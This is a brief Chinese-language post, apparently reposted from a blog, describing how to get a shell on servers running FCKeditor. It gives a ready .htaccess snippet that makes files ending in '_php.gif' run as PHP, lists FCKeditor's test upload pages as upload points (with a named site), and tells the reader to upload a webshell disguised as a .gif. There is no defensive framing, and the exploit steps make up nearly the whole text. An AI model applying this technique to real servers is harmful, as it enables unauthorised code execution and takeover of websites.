FCKeditor上传Getshell不要忘记htaccess

程序员文章站 2022-03-29 12:40:17

有些服务器开启了.htaccess文件上传，那么经常碰到fckeditor的就可以利用该文件上传一个phpshell。... 11-09-29...

1.创建一个.htaccess文件，内容如下：
<filesmatch "_php.gif">
sethandler application/x-httpd-php
</filesmatch>
2.上传shell
www.badguest.cn fckeditor/editor/filemanager/upload/test.html
fckeditor/editor/filemanager/browser/default/connectors/test.html
这是上传地址，然后将你的webshell文件改后缀shell.php.gif